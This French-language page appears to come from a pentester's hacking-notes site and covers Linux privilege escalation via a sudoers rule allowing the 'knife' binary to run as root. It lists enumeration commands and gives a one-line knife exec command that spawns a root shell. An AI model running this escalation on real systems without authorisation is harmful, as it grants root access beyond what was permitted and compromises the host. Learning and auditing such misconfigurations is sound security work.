> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/sudoers/sudo-knife-linux-privilege-escalation.md).

# Sudo (Knife) - élévation de privilèges Linux

## Ce que c’est

L’élévation de privilèges sudoers commence par les commandes qu’un utilisateur peut exécuter via `sudo`. Des binaires mal configurés, des arguments de script non sécurisés, la gestion des liens symboliques et des versions vulnérables de sudo peuvent transformer des droits sudo limités en un shell root. Cette page spécifique se concentre sur **Sudo (Knife)** et maintient le flux d’exploitation pratique : identifiez la condition, validez-la en toute sécurité, puis exécutez la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter la voie d’exploitation.

```bash
sudo -l
sudo --version
```

## Exemples

En exécutant `sudo -l`, l’utilisateur peut exécuter le `knife` binaire en tant que root :

<div data-full-width="true"><figure><img src="/files/26ee730654f5dab336c9d0d0839d21d4eb049117" alt=""><figcaption></figcaption></figure></div>

Ce binaire est répertorié sur GTFOBins comme vecteur d’élévation de privilèges.

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="/files/4449baf18119bea785cc1280404c1fb582e5f1ce" alt=""><figcaption></figcaption></figure>

**Exploitation**

Utilisez la commande ci-dessus pour obtenir un shell root.

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="/files/ddcf2dd1a5a09a9ecb369ce3a195411746ccedf2" alt=""><figcaption></figcaption></figure>


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